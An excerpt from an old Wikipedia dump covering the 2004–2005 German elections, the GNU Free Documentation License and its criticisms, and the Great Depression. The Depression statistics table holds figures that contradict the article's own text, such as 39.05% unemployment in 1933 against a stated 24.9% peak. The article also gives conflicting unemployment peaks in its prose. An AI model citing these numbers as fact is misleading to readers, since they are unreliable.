Two weeks later, elections in the eastern states Brandenburg and Saxony were held: the ruling parties overall lost votes, but they remained in power. However, the ruling CDU in Saxony was forced (due to their losses at the ballots) to form a coalition with the 9,8% party SPD as a junior partner. In Brandenburg the CDU remained junior partner of the SPD. The fact that in Brandenburg the right party DVU re-entered and in Saxony the far-right party NPD entered the state parliaments caused worries in the traditional political parties.

===German federal election 2005===
On May 22nd as predicted the SPD took a devastating defeat in its former heartland, [[North Rhine-Westphalia]]. Half an hour after the election results, the SPD chairman [[Franz Müntefering]] announced that the chancellor would clear the way for premature [[German federal election, 2005|federal elections]] by the means of a purposely lost vote of confidence. 
This took the republic by surprise, especially because the SPD was seen in polls below 25% at that time. On the following Monday the CDU announced [[Angela Merkel]] as conservative candidate for chancellorship, aspiring to be the first female chancellor in Germany ever.

Whereas in May and June 2005 victory of the conservatives seemed highly likely, with some polls giving them an absolute majority, this picture changed shortly before the election at [[September 18]], [[2005]], especially after the conservatives introduced [[Paul Kirchhof]] as potential minister of the treasury, and after a TV duel between Merkel and Schröder where many considered Schröder to have performed better.

New for the 2005 election was the alliance between the newly formed [[Labour and Social Justice Party]] (WASG) and the PDS, planning to fuse into a common party (see [[Left Party (Germany)|Left Party.PDS]]). With the former SPD chairman [[Oskar Lafontaine]] for the WASG and [[Gregor Gysi]] for the PDS as prominent figures, this alliance soon found interest in the media and in the population. Polls in July saw them as high as 12 %. 

After success in the state election for [[Saxony]], the alliance between the far right parties [[National Democratic Party of Germany (NPD)|National Democratic Party]] and [[Deutsche Volksunion]] (DVU), which planed to leapfrog the &quot;five-percent hurdle&quot; on a common party ticket was another media issue. 

The election results of [[September 18]] [[2005]] were surprising insofar as they differed widely from the polls of the previous weeks. The conservatives lost votes compared to 2002, reaching only 35%, and failed to get a majority for a &quot;black-yellow&quot; government of CDU/CSU and liberal FDP. The FDP polled a stunning 10 % of the votes, one of their best results ever. But the red-green coalition also failed to get a majority, with the SPD losing votes, but polling 34 % and the greens staying at 8 %. The left party alliance reached 8.7 % and entered the [[Bundestag|German Parliament]], whereas the NPD only got 1.6 %.

The most likely outcome of coalition talks was a so-called &quot;[[grand coalition]]&quot; between the conservatives (CDU/CSU) and the social democrats (SPD), with the three smaller parties (liberals, greens and the left) in the opposition. Other possible coalitions include a &quot;[[traffic light coalition]]&quot; between SPD, FDP and Greens and a &quot;[[Jamaica coalition]]&quot; between CDU/CSU, FDP and Greens. Coalitions involving the Left Party have been ruled out by all parties (including the Left Party itself), although the combination of one of the major parties and any two small parties would mathematically have a majority. Of these combinations, only a red-red-green coalition is politically even imaginable. Both Gerhard Schröder and Angela Merkel announced that they have won the election and should become next chancellor.

On October 10th talks were held between Franz Müntefering, the SPD chairman, Gerhard Schröder, Angela Merkel and Edmund Stoiber, the CSU chairman. In the afternoon it was announced that the CDU/CSU and SPD will begin formal coalition negotiations with the aim of a Grand Coalition with Angela Merkel as the next German chancellor. &lt;/br&gt;

Angela Merkel is the first woman, the first East German and the first scientist to be chancellor as well as the youngest German chancellor ever. On November 22nd 2005 Angela Merkel was sworn in by president Horst Köhler for the office of Bundeskanzlerin.

==Foreign Relations==
''see also main article'' [[Foreign relations of Germany]]

==See also==
*[[Political culture of Germany]]
*[[German emergency legislature]]
*[[German federal election, 2005]]
*[[List of political parties in Germany]]

==External links==
*[http://www.bundesregierung.de/en Official web page of the government]
*[http://www.bundeswahlleiter.de/e/index_e.htm Official source of election results]

[[Category:Politics of Germany|*]]

[[de:Politisches System Deutschlands]]
[[fr:Système politique allemand]]
[[he:פוליטיקה של גרמניה]]
[[lt:Vokietijos politinė sistema]]
[[ja:ドイツの政治]]
[[pt:Política da Alemanha]]</text>
    </revision>
  </page>
  <page>
    <title>Germany/History</title>
    <id>11936</id>
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  <page>
    <title>GNU Free Documentation License</title>
    <id>11938</id>
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      <text xml:space="preserve">{{dablink|For other uses of &quot;GFDL&quot;, see [[GFDL (disambiguation)]].}}
[[Image:Heckert GNU white.svg|thumb|200px|right|GNU logo]]
The '''GNU Free Documentation License''' ('''GNU FDL''' or simply '''GFDL''') is a [[copyleft]] license for [[free content]], designed by the [[Free Software Foundation]] (FSF) for the [[GNU]] project. It is the open content counterpart to the [[GNU GPL]]. The current state of the license is version 1.2.

The license was designed for [[manual]]s, textbooks, other reference and instructional materials, and documentation which often accompanies GPL software. However, it can be used for any text-based work, regardless of subject matter. It stipulates that any copy of the material, even if modified, carry the same license. Those copies may be sold but, if produced in quantity, have to be made available in a format which facilitates further editing.

Projects under GFDL include [[Wikipedia]], which is the largest documentation project among them.

== About the GFDL ==

{{section-stub}}
=== Secondary Sections ===

The license explicitly separates any kind of &quot;Document&quot; from &quot;Secondary Sections&quot;, which may not be integrated with the Document, but exist as front-matter materials or appendices. Secondary sections can contain information regarding the author's or publisher's relationship to the subject matter, but not any subject matter itself. While the Document itself is wholly editable, and is essentially covered by a license equivalent to (but both-ways incompatible with) the [[GNU General Public License]], some of the secondary sections have various restrictions designed primarily to deal with proper attribution to previous authors.

Specifically, the authors of prior versions have to be acknowledged and certain &quot;invariant sections&quot; specified by the original author and dealing with his or her relationship to the subject matter may not be changed.  If the material is modified, its title has to be changed (unless the prior authors give permission to retain the title). The license also has provisions for the handling of front-cover and back-cover texts of books, as well as for &quot;History&quot;, &quot;Acknowledgements&quot;, &quot;Dedications&quot; and &quot;Endorsements&quot; sections.

== Using the GFDL ==
=== Materials for which commercial redistribution is prohibited ===

Materials for which commercial redistribution is prohibited generally cannot be used in a GFDL-licensed document, e.g., a [[Wikipedia]] article, because the license does not exclude commercial re-use.  However in some specific cases, commercial re-uses may be [[fair use]] and in that case such materials do not need to be licensed to fall within the GFDL if such fair use is covered by all potential subsequent uses. One good example of such liberal and commercial fair use is [[parody]].

==Criticisms of the GFDL==
Many people and groups, notably the [[Debian]] project (based on their [[Debian Free Software Guidelines]]), consider the GFDL a non-free license. The reasons for this are that the GFDL allows &quot;invariant&quot; text which cannot be modified or removed, and that its prohibition against [[digital rights management]] (DRM) systems affects valid usages as well.

A number of objections have been made to the GNU FDL, with some critics recommending the use of alternate licenses (such as the [[Creative Commons]] license) or even the GNU GPL.  The Debian project has a [http://people.debian.org/~srivasta/Position_Statement.xhtml detailed draft of objections]
and Nathanael Nerode has also [http://home.twcny.rr.com/nerode/neroden/fdl.html] summarized his objections. Often mentioned arguments against the GFDL include:
===Overly broad DRM clause===
The GNU FDL contains the following statement.

:''&quot;You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute.&quot;''

A criticism of this language is that it is too broad, because it applies to private copies made but not distributed. This means that you are not allowed to save document copies you 'make' in a proprietary file format or using encryption.

[[Richard Stallman]] [http://lists.debian.org/debian-legal/2003/09/msg00212.html said] about the above sentence on the [http://lists.debian.org/debian-legal debian-legal] mailinglist:

:''&quot;This means that you cannot publish them under DRM systems to restrict the possessors of the copies.  It isn't supposed to refer to use of encryption or file access control on your own copy. I will talk with our lawyer and see if that sentence needs to be clarified.&quot;''

[[2006|As of 2006]], the sentence has not yet been clarified.

===Invariant sections===
A GNU FDL work can quickly be encumbered because a new, different, title must be given and a list of previous titles must be kept.  This could lead to the situation where there are a whole series of title pages, and dedications, in each and every copy of the book if it has a long lineage.  These pages cannot ''ever'' be removed, at least not until the work enters the [[public domain]] after [[copyright]] expires.

[[Richard Stallman]] [http://lists.debian.org/debian-legal/2003/08/msg00807.html said] about invariant sections on the [http://lists.debian.org/debian-legal debian-legal] mailinglist:

:''&quot;The goal of invariant sections, ever since the 80s when we first made the GNU Manifesto an invariant section in the Emacs Manual, was to make sure they could not be removed.  Specifically, to make sure that distributors of Emacs that also distribute non-free software could not remove the statements of our philosophy, which they might think of doing because those statements criticize their actions.&quot;''

Ironically, this problem is reminiscent of [[BSD_license#The_UC_Berkeley_advertising_clause|GNU's problem with the 4 clause BSD license]].

===GPL incompatible in both directions===
The GNU FDL is incompatible in both directions with the GPL: that is GNU FDL material cannot be put into a GPL. Because of this, code samples are often [[dual_license|dual-licensed]] so that they may appear in documentation.

===Burdens when printing===
The GNU FDL requires that when printing out a document covered under this license you must also include: &quot;this License, the copyright notices, and the license notice saying this License applies
to the Document are reproduced in all copies&quot;. This means that if you print out a copy of an article whose text is covered under the GNU FDL, you must also include a copyright notice and a physical printout of the GNU FDL which is a significantly large document in itself.

===Ideological tone===

The license involves a preamble, that some critics dislike because of its ideological tone.

===Length===
Some consider the license to be too long.

===Transparent formats===
The definition of a &quot;transparent&quot; format is complicated, and may be difficult to apply. For example, drawings are required to be in a format that allows them to be revised straightforwardly with &quot;some widely available drawing editor.&quot; The definition of &quot;widely available&quot; may be difficult to interpret, and may change over time, since, e.g., the open-source [[Inkscape]] editor is rapidly maturing, but is still in a prerelease stage. This section, which was rewritten somewhat between versions 1.1 and 1.2 of the license, uses the terms &quot;widely available&quot; and &quot;proprietary&quot; inconsistently and without defining them. According to a strict interpretation of the license, the references to &quot;generic text editors&quot; could be interpreted as ruling out a format used by an  open-source word-processor such as [[Abiword]]; according to a loose interpretation, however, [[Microsoft Word]] .doc format could qualify as transparent, since a subset of .doc files can be edited perfectly using [[OpenOffice.org]], and the format therefore is not one &quot;that can be read and edited only by proprietary word processors.&quot;

==History==

The FDL was released in draft form for feedback in late [[1999]]. After revisions, version 1.1 was issued in [[March 2000]], and version 1.2 in [[November 2002]].

== Other free content licenses ==

Some of these were developed independently of the GNU FDL, while others were developed in response to perceived flaws in the GNU FDL.

* The [[Creative Commons]] &quot;CC-by-sa&quot; and &quot;CC-nc-sa&quot; licenses
* [[Design Science License]]
* [[Open Content License]]
* [[Open Publication License]]

== See also ==
* [[BSD license]]
* [[Copyright]]
* [[Copyleft]]
* [[Free software license]]
* [[GNU]]
* [[Open content]]
* [[Open source hardware]]
* [[Share-alike]]
* [[Software licensing]] &lt;!-- should the above &quot;alternatives&quot; list be moved to [[software licensing]] ? --&gt;

== External links ==
{{wikisource}}
* [http://www.gnu.org/copyleft/fdl.html GFDL official text]
*{{listen|filename=GFDL (English).ogg|title=Listen to the GFDL|description=Audio recording of the full text of the GNU Free Documentation License.|format=[[Ogg]]}}

Resources discussing the appropriateness of the GFDL:
*[http://www.fsf.org/licenses/fdl.html The GNU Free Documentation License]
*[http://people.debian.org/~srivasta/Position_Statement.xhtml Draft of Debian position statement about the GFDL]
*[http://home.twcny.rr.com/nerode/neroden/fdl.html Why You Shouldn't Use the GNU FDL]
*[[wikitravel:Wikitravel:Why_Wikitravel_isn%27t_GFDL|Why Wikitravel isn't GFDL]]: Problems with using the GFDL for short printed texts
*[http://www.gnu.org/encyclopedia/ The Free Universal Encyclopedia And Learning Resource]

[[Category:GNU project]]
[[Category:Free content licenses]]
[[Category:Technical communication]]
[[Category:GFDL| ]]

[[bg:Лиценз за свободна документация на ГНУ]]
[[zh-min-nan:GNU Chū-iû Bûn-kiāⁿ Hí-khó-su]]
[[ca:Llicència de documentació lliure de GNU]]
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  <page>
    <title>Great Depression</title>
    <id>11940</id>
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{{dablink|see also [[The Great Depression (disambiguation)]].}}  

[[Image:Lange-MigrantMother02.jpg|250px|thumb|[[Dorothea Lange]]'s ''Migrant Mother'' depicts destitute pea pickers in California, centering on [[Florence Owens Thompson]], a mother of seven children, age twenty-nine, in [[Nipomo, California]], March 1936.]]

The '''Great Depression''' was a massive economic decline that started in 1929 and ended in the late 1930s.  All countries were affected; worst hit were the most industrialized, including the [[United States]], Europe, and Japan.  [[Cities in the great depression|Cities around the world]] were hit hard, especially those based on heavy industry.  Rural areas likewise were hurt as prices for crops plunged. Mining and lumbering areas were perhaps the hardest hit because there was little alternative economic activity.

== Depression Statistics ==
Selected US economic statistics during the course of the Great Depression. These facts provide the basis for an understanding of the actions and debate that surround this period of economic turmoil.     

{| class=&quot;wikitable&quot;
!width=&quot;100%&quot; style=&quot;background:#eeeeee;&quot; |Statistic 
!width=&quot;9%&quot; style=&quot;background:#eeeeee;&quot; |1929
!width=&quot;6%&quot; style=&quot;background:#eeeeee;&quot; |1933
!width=&quot;6%&quot; style=&quot;background:#eeeeee;&quot; |1937
!width=&quot;5%&quot; style=&quot;background:#eeeeee;&quot; |1939
!width=&quot;6%&quot; style=&quot;background:#eeeeee;&quot; |1940
!width=&quot;3%&quot; style=&quot;background:#eeeeee;&quot; |1942
|-
|align=&quot;center&quot;|Real Gross National Product (GNP) (1)
|align=&quot;center&quot;|181.8
|align=&quot;center&quot;|126.6
|align=&quot;center&quot;|183.5
|align=&quot;center&quot;|189.3
|align=&quot;center&quot;|205.8
|align=&quot;center&quot;|266.9
|-
|align=&quot;center&quot;|Consumer Price Index (2)
|align=&quot;center&quot;|73.3
|align=&quot;center&quot;|22.9
|align=&quot;center&quot;|61.4
|align=&quot;center&quot;|59.4
|align=&quot;center&quot;|59.9
|align=&quot;center&quot;|69.7
|-
|align=&quot;center&quot;|Index of Industrial Production (2)
|align=&quot;center&quot;|59
|align=&quot;center&quot;|37
|align=&quot;center&quot;|12
|align=&quot;center&quot;|59
|align=&quot;center&quot;|67
|align=&quot;center&quot;|205
|-
|align=&quot;center&quot;|Money Supply (in billions)
|align=&quot;center&quot;|26.4
|align=&quot;center&quot;|19.8
|align=&quot;center&quot;|29.6
|align=&quot;center&quot;|36.2
|align=&quot;center&quot;|42.2
|align=&quot;center&quot;|62.8
|-
|align=&quot;center&quot;|Unemployment (in millions)
|align=&quot;center&quot;|1.6
|align=&quot;center&quot;|12.8
|align=&quot;center&quot;|7.7
|align=&quot;center&quot;|9.5
|align=&quot;center&quot;|8.1
|align=&quot;center&quot;|2.7
|-
|align=&quot;center&quot;|Unemployment (% of civilian work force)
|align=&quot;center&quot;|9.6
|align=&quot;center&quot;|39.05
|align=&quot;center&quot;|14.3
|align=&quot;center&quot;|17.2
|align=&quot;center&quot;|14.6
|align=&quot;center&quot;|4.7
|}

(1) in 1954 dollars
(2) 1947-49 = 100 

Source: Campbell R. McConnell, Economics: Principles, Problems and Policies, 2nd edition, McGraw-Hill 1963

== Responses ==
[[Image:terminal_island_squatters.jpg|frame|The Wares family, [[squatting|squatted]] on [[Terminal Island]], [[Los Angeles]],  [[California]], [[United States]] in 1930 because of the Great Depression.]]

The [[Wall Street Crash of 1929|Wall Street crash of 1929]] is widely considered to be the foremost event which marked the start of the world-wide financial crisis.  While important, it was just one more marker of a distressed economy. In fact, in the United States, [[unemployment]] soared from approximately 5% to over 33%, while manufacturing output declined by one-third. Governments worldwide sought economic recovery by adopting restrictive [[autarky|autarkic]] policies such as high tariffs, import quotas and barter agreements and by experimenting with new plans for their internal economies. 

Business and personal economic reactions to the depression created great problems throughout the United States and much of the world. Consumers reduced their purchases of luxury products and many businesses cut production.  Big businesses, such as [[General Motors]], saw their sales drop by 50% in the late 1920s and the early 1930s. This caused businesses to cut back on wages and on the numbers they employed, with thousands of workers losing their jobs.  When farm prices fell, small farmers went bankrupt and, in the US, many lost their land due to bank [[foreclosure]]. By late 1932, unemployment approached 25% of the urban labor force.  On July 8, 1932, the [[Dow Jones Industrial Average]] [[Closing milestones of the Dow Jones Industrial Average|plunged to 41.22]]. The nation responded by electing [[Franklin D. Roosevelt]], who brought a complex series of [[New Deal]] programs designed to provide immediate relief, restore prosperity, and permanently reform the economy's weaknesses. 

After the stock market collapse, the [[New York]]-based banks became concerned over the security of overseas loans and called in their loans to [[Germany]] and [[Austria]]. However, without the American money, Germany was unable to continue making
[[World War I]] reparations payments to [[France]] and the [[United Kingdom]]. This chain reaction meant they, in turn, could not repay their war loans to America.  All governments were forced to cease paying both reparations and war loan repayments. Most people could not afford many every day items.

The United States government tried to protect domestic industries from foreign competition by imposing the highest import duty in American history. In retaliation, other countries raised their tariffs on imports of American goods. As a result, 
world trade dropped by 62%, exacerbating the depression: global industrial production declined by 36% between 1929 and 1932.

[[Image:BC relief.jpg|thumb|left|200px|A relief camp in [[British Columbia]], [[Canada]].]]

In [[Canada]], the [[Liberal Party of Canada|Liberal Party]] lost the [[Canadian federal election, 1930 |1930 election]] to [[Richard Bedford Bennett]] and the [[Conservative Party of Canada (historical)|Conservative Party]]. Campaigning on high tariffs and large scale spending, [[Bennett]] eventually reneged on most of these promises. The failure of his administration exacerbated the effects of the Great Depression on [[Canada]]. Like [[Roosevelt]], Bennet tried to offer a &quot;New Deal&quot; to [[Canadians]], such as [[unemployment insurance]], shorter work periods and [[minimum wage]]. See [[Great Depression in Canada]] for more details. 

In [[Germany]], unemployment increased drastically fueling widespread disillusionment and anger. The institutions of the [[Weimar Republic]], which had already been unable to maintain order in Germany, further deteriorated in the years from 1930 to 1932, while the Chancellor and finance expert [[Heinrich Brüning]] attempted to fix the economy by drastically cutting state spending. At the time, the [[NSDAP]], or Nazi party, gained much popularity, winning the two general elections in 1932. This eventually led to the coming to power of [[Adolf Hitler]] as Chancellor on January 30, 1933 In [[Nazi]] Germany, economic recovery was pursued through rearmament, conscription, and public works programs. In [[Benito Mussolini]]'s [[Italy]], the economic controls of his state were tightened.

In the [[Netherlands]], some projects were started to give people employment and boost the economy, such as the [[Amsterdamse Bos]], a reforestation project near [[Amsterdam]]. In [[Heerlen]], fabric merchant ''[[Schunck]]'' commissioned a new building in 1934 for his business, the hypermodern ''[[Glaspaleis]]'' (crystal palace) the tallest building in the city at the time.

In the [[United Kingdom]], the [[Labour Party (UK)|Labour]] government of [[Ramsay MacDonald]], and later the [[Conservative Party (UK)|Conservative]]-dominated coalition &quot;National Government&quot;, responded to the depression by imposing tariffs on all imports from outside the [[British Empire]], by cutting public spending, and by abandoning the [[Gold Standard]] which reduced the cost of British exports (see [[Great Depression in the United Kingdom]]).

In the United States, President [[Herbert Hoover]] made efforts to control the situation. However he gravely underestimated the severity of the crisis, even reporting in 1929, that the worst effects of the recent stock market crash were behind them, and that the U.S. public had regained faith in the economy. Over the following months, it became apparent this was not the case, and Hoover in late 1930 asked for a $150 million public works program to help generate jobs. However, one of the major problems was that with deflation, the currency that you kept in your pocket could buy more goods as prices went down. Another was that there had been no federal oversight of the stock market or other investment markets, and with the collapse, many stock and investment schemes were found to be either insolvent or outright frauds. Unfortunately, many banks had invested in these schemes. By the end of 1930, there had been over 1300 [[bank failure]]s; in 1931, nearly 2300 more banks failed. 1932 saw the collapse of the banking system; [[Milton Friedman]]'s monetary theories suggest that the inexperience of the newly-created [[Federal Reserve]] in managing the money supply exacerbated the problem. With the banking system in shambles, and people holding on to whatever currency that they had, there was minimal cash available for any activities that would cause positive change.

The response of the Hoover administration helped little; instead of increasing the money supply, the Hoover administration did the exact opposite and raised interest rates, falsely believing that inflation was the real danger. Many in the Hoover administration believed that as wages fell, the cost of production would drop and, as a result, production would pick up again--the depression would be self-correcting. Nobody at that time foresaw the effects of a calamitous drop in the money supply.  For this reason, the government's intervention in the economy, reduction of the money supply, raising of interest rates, and protectionist measures proved disastrous.

Like their counterparts abroad, many Americans were disillusioned with their system of government, believing that Hoover's policies had driven the country to ruin. [[Shanty town]]s populated by unemployed people at the time were often dubbed [[Hoovervilles]], highlighting the President's fading popularity. During this period, several alternative political movements saw a considerable increase in membership. In particular, a number of high-profile figures embraced the ideals of Communism and the US Communist Party encouraged its followers to &quot;Follow the Example of [[Ella Reeve Bloor| Mother Bloor]]&quot;, who embraced the movement. Radio speakers, such as Father [[Charles Coughlin]], saw their listening audiences swell into the millions as they sought easy scapegoats for the country's woes.

Upon accepting the [[Democratic Party (US)|Democratic]] nomination for president (July 2, 1932), [[Franklin D. Roosevelt]] promised &quot;a new deal for the American people&quot;, a phrase that has endured as a label for his administration and its many domestic achievements.  Upon taking office in March 1933 he proposed the &quot;[[New Deal]]&quot; of multiple programs to promote relief for the destitute, recovery of the economy, and reform of its weaknesses.  In 1933 Roosevelt was eclectic and took economic advice from many directions.  Across the world all major countries intervened in their economies, trying to escape the worst effects of the depression. 
==The Depression==
[[Image:Hooverville.jpg|250px|thumb|right|&quot;Community Camp&quot;, a depression era shantytown in [[Oklahoma City]], [[Oklahoma]]]]

Contrary to popular belief, the Stock Market Crash and Great Depression did not plunge all Americans into instant poverty.  While the full effects of the Depression were imminent, they were not universally immediate. Indeed, following the October event on Wall Street, economists who underestimated the event felt that the crash of the market was simply a long over due, albeit major, market correction.

However when the market failed to rebound, and it became apparent that even highly regarded consumer goods manufacturers were in trouble (example, [[Atwater-Kent]] Radios, [[Willys-Overland]], etc.) the effects began to impact the economy. Not only did name-brand product manufacturers fail, but their suppliers and retailers also failed.

Easy credit fuelled the consumer driven economy of the 1920s, and following the depression, credit availability began to tighten, both for business and consumers. With lenders restricting their credit availability, and moving quickly to secure their liabilities, employers who were hurt by the ripple effect of Wall Street were the first to be liquidated. As employers closed their companies, the ranks of the unemployed grew, which further complicated the banking situation by reducing income from credit lines, which cascaded into a liquidity crisis leading up to the banking panic of 1933.

Consumers who had taken advantage of ''easy term'' payments offered by retailers found themselves backed against the wall if they were unable to meet those obligations. The repossession of furniture and household goods by creditors – something that had before only happened to a limited number of households - became a commonplace event.

[[Foreclosure]]s on the American home-–-often seen as the safest investment that one could make-–rose throughout the period, and affected people in all income brackets. Prior to the depression, foreclosure and eviction had been a mantle of shame, and closely viewed as caused by personal failure. However as the effects of the Depression dug deeper into the fabric of the nation, average Americans changed their view of foreclosure, making it not a mark of shame, but as a battle of the common man against the banking industry. In the upper Midwest, the posting of foreclosure orders in working-class neighborhoods, and the forced sale of personal property, drew neighbors who attempted to disrupt the proceedings as a form of protest of the action and support of the family under the eviction notice. The angry crowds also had the effect of scaring off potential bidders for auction goods. While this allowed neighbors to pay pennies on the dollar for their neighbors' possessions (which were usually given back to the family following the sale), it also did little to reduce the debt of the family being evicted.

The wealthy, who had significant investments in Wall Street, did experience losses; however those losses depended on how investments were structured. As a result, all but the very well-off curtailed their spending habits. Some of the wealthiest families, like the Kennedys, were virtually unfazed by the Stock Market Crash, and were able to continue living their lives largely as they had before the Depression. Others, like the Hellers, used independent investments to &quot;float&quot; for several years after the Crash, most bottoming out by the mid-1930's. Many wealthy American families found their extensive finances wiped out over night, and went literally &quot;from riches to rags.&quot; 

For example, high end consumer goods providers, such as the luxury automobile industry, saw their sales number dwindle to levels far below the previous levels of the twenties, resulting in layoffs of salaried and hourly workers. The best example of this collapse was the automobile industry in [[Cleveland, Ohio]], which had the highest concentration of luxury automobile manufacturers outside of Detroit. Between 1929 and 1934, production of [[Peerless]], [[Jordan Motor Car|Jordan]], [[Stearns-Knight]] cars all ceased; [[Peerless]], as a company, did survive, but did so by discontinuing automobile production and regrouping as a brewery.

Purchases of even basic cars, those manufactured by the middle and entry level marques, also slowed. [[General Motors]] attempted to encourage consumers to buy cars by advertising that “the sale of one car keeps an autoworker employed for three months, allowing that worker and his family to buy goods and services with their salary.” However a sizable percentage of Americans couldn't even pay for a tank of gas, let alone a new car and the entire auto industry struggled to maintain sales at a profitable level.

[[Image:Dallas South Dakota 1936.jpg|thumb|left|300px|Buried machinery in barn lot.  [[Dallas, South Dakota]], May 1936]]

[[Drought]] first struck the Eastern United States in 1930. By 1931 it began moving westward where the weather pattern stalled over the [[Great Plains]] states. By 1934, the plains had been turned to desert. While weather was the catalyst for the [[Dust Bowl]] (a name coined in 1935), the root cause was poor farming and soil conservation techniques on land that was better suited to growing prairie grasses and native flowers than it was for growing corn. When the thin layer of [[top soil]] turned to a dry powder, and the winds swept through, dust storms resulted producing a filth and grime that was difficult to wash out of fabric and clean out of buildings. Once the top soil was depleted, the under layer of clay that remained proved unsuitable for cash crops, leading to farm failures and mortgage foreclosures.

Those who had lost their homes and livelihoods were lured westward by advertisements for work put out by [[agribusiness]] in western states such as [[California]]. The migrants came to be called [[Okies]], [[Arkies]], and  other derogatory names as they flooded the labor supply of the agricultural fields, driving down wages and increasing competition for jobs in areas that couldn't afford it. This story was dramatized in the famous novels ''[[The Grapes of Wrath]]'' and ''[[Of Mice and Men]]'' by [[John Steinbeck]].

In the South, rural workers and [[share cropper]]s migrated north by train with plans to work in auto plants around [[Detroit]]. In the [[Great Lakes region (North America)|Great Lakes states]], farmers had been experiencing depressed market conditions for their crops and goods since the end of [[World War I]]. Family farms that had been mortgaged during the Twenties to provide money to “get through until better times” risked foreclosure when their owners failed to make payments. Unlike the dustbowl states, the midwest experienced near normal weather conditions in the 1930s, and farmers could make a living if they spent their incomes in a wise and prudent way. Unable to pay wages for hired help, families whose farms were located near railroad tracks often hired men who volunteered to work for food.

However, a large percentage of the American [[middle class]] was able to survive the ordeal. Those in professions where skills and jobs were considered “depression proof” (government positions, teachers in well-funded districts, doctors, lawyers, etc.) continued to work. Daily life was made more secure if these workers had little debt before the stock market crash, had liquid savings and generally lived without overt extravagances. American middle class households managed to get through the economic depression by adapting to conditions, spending wisely and avoiding unnecessary purchases.

One industry that flourished in America during the 1930s was the movie industry ([[Hollywood]]). The emergence of sound films in the late 1920s, combined with the escapism that film provided to a nation down on its luck, made the film industry one of the few that produced profits throughout the 1930s. Films commonly featured rich sets and carefree characters, allowing an increasingly depression-weary nation to leave its cares behind - if only for the duration of a movie. [[Shirley Temple]]'s films were leading attractions, perhaps because her characters' unwavering hopefulness in the face of trying circumstances spoke to American audiences. Conversely, the film version of Steinbeck’s ''Grapes of Wrath'' (see above), now considered by many to be a masterpiece of American cinema, was a commercial disappointment when it debuted--possibly because it reminded too many moviegoers of the harsh realities of their own situations.

Movie genres that thrived during the 1930s were [[screwball comedy| screwball comedies]], lavish [[Musical_film|musicals]] (notably, [[The Wizard of Oz]]), [[Westerns]] and [[gangster movie]]s.

==International effects==
Many nations experienced an economic decline, though the severity and timing differed from country to country. For example, the [[United Kingdom]] hit its trough in the third quarter of 1932, while [[France]] did not reach its low point until April of 1937. [[Charles P. Kindleberger]] has provided the best international account of the Depression so far in his book ''The World in Depression''.

===Asia===
[[Asia]] was also hit by the Great Depression due to its dependence on the export of raw materials with Europe and America, predominantly rubber and tin for the automotive industry. Asian trade fell sharply as Americla and Europe were gripped by the depression.  Firms in Asia responded by cutting their workforce and reducing wages. 

In [[Japan]], unemployment and poverty rose, disproportionately affecting the lower classes; these hardships were a factor in the rise of [[Japanese nationalism]]. However, compared to some, Japan was not too badly affected.

===Canada===

As America's largest trading partner in the 1930's, [[Canada]] is sometimes considered to be the country hardest hit by the Great Depression. The economy fell further than that of any nation other than the [[United States]], and it took far longer to recover. For example, [[Canada]]'s unemployment rate in 1933-34 reached its acme, when 26% of the population was [[unemployed]]. Western Canada was hit particularly hard during the nadir of the Depression, where a full recovery did not occur until the Second World War began in 1939. When the Depression ended, three parties were engendered in [[Canada]]: the [[CCF]], [[Social Credit Party of Canada]] and the [[Union Nationale]].

Like the rest of the world, [[Canada]]'s economic resuscitation began only with the [[World War II]].

==End of the Great Depression ==
=== In the United States ===
''For further details, see the main [[New Deal]] article.''

It was not until the United States entered World War II that Roosevelt's ideas for massive public expenditures and [[deficit spending]] appeared to work. Roosevelt's administration, of course, had little choice but to increase expenditures, given the war effort. Many of the New Deal policies seemed to work exactly as predicted, winning over many Republicans, who had been the New Deal's greatest opponents. By the end of World War II, Democrats, Republicans and much of the U.S. public assumed that government spendings and deficits were key to economic growth. On the other hand, according to economist [[Robert Higgs]], when looking only at the supply of consumer goods significant GDP growth only resumed in 1946. (Higgs assumes that collective goods like victory in the war were not valued by consumers.) (Source: Robert Higgs (1992), 'Wartime Prosperity? A Reassessment of the U.S. Economy in the 1940s,' ''The Journal of Economic History'' 52(1):41-60.)

From 1932 onward Roosevelt argued that a restructuring of the economy--a &quot;reform&quot; would be needed to prevent another depression.   New Deal programs sought to stimulate [[demand]] and provide work and relief for the impoverished through increased government spending, by:
* instituting regulations which ended what was called &quot;cut throat competition&quot; (in which large players supposedly used [[predatory pricing]] to drive out small players);
* creating regulations which would raise the [[wages]] of ordinary workers, to redistribute wealth so that more people could purchase products. 
The original implementation, in the form of the [[National Recovery Act]], brought in direct unemployment relief, and allowed:
* business to set price codes;
* the NRA board to set labor codes and standards;
* the Federal government to [[underwrite|insure]] the banking system and provide [[price support]]s for [[agriculture]] and [[mining]]. 
This is referred to as the [[First New Deal]]. It was centered around the use of the [[alphabet soup]] of agencies set up in 1933 and 1934, along with the use of previous agencies, to regulate and stimulate the economy. 

The theories behind the New Deal matched the later prescriptions of British economist [[John Maynard Keynes]], who advocated increased government spending in a financial crisis. In 1929, federal expenditures constituted only 3% of the [[Gross domestic product|GDP]]. Between 1933 and 1939, federal expenditure tripled, and Roosevelt's critics accused him of turning America into a socialist, or even [[Stalinist]] state. The aims of the New Deal were as follows: to prevent the economy and banking system from going into a free fall; to provide effective relief until larger economic forces would end the slump; and to prevent those factors which had exacerbated the slump. The New Deal was both a program of national [[recovery]] and of [[reform movement|reform]]. An interesting insight into what motivated Roosevelt came from the transition from the Hoover administration &amp;mdash; both men agreed that it was a global maladjustment of prices, debts and production that was causing the slump. The disagreement came over whether the US government should act first to try and negotiate an end to the root causes internationally, which was Hoover's view, or act for domestic recovery and reform until the international situation could be resolved, which was FDR's view. 

The New Deal was rooted in new ideas, but also in economic orthodoxy of balanced budgets, and restraint of federal power. It represented bigger and broader government than ever before, but not as big as government would later become: spending on the New Deal was far smaller than on the war effort. In short, federal expenditures went from 3% of the GDP in 1929 to about 33% in [[1945]]. The big surprise was just how productive America became: spending financially cured the depression. Between 1939 and 1944 (the peak of wartime production), the nation's output more than doubled. Consequently, unemployment plummeted&amp;mdash;from 19% in 1938 (already down from 1933's 24.9% peak) to 1.2% in 1944&amp;mdash;as the labor force grew by ten million. The [[war economy]] showed just how large the fiscal stimulus required to end the downturn of the Depression was, and it led, at the time, to fears that as soon as America demobilized, that it would return to Depression conditions and industrial output would fall to its pre-war levels. There is general agreement that it was [[World War II]] which finally provided the United States Federal Government with the political will to buy its way out of the Depression and resolve the global [[monetary]] crisis by the imposition of the [[Bretton Woods system]].

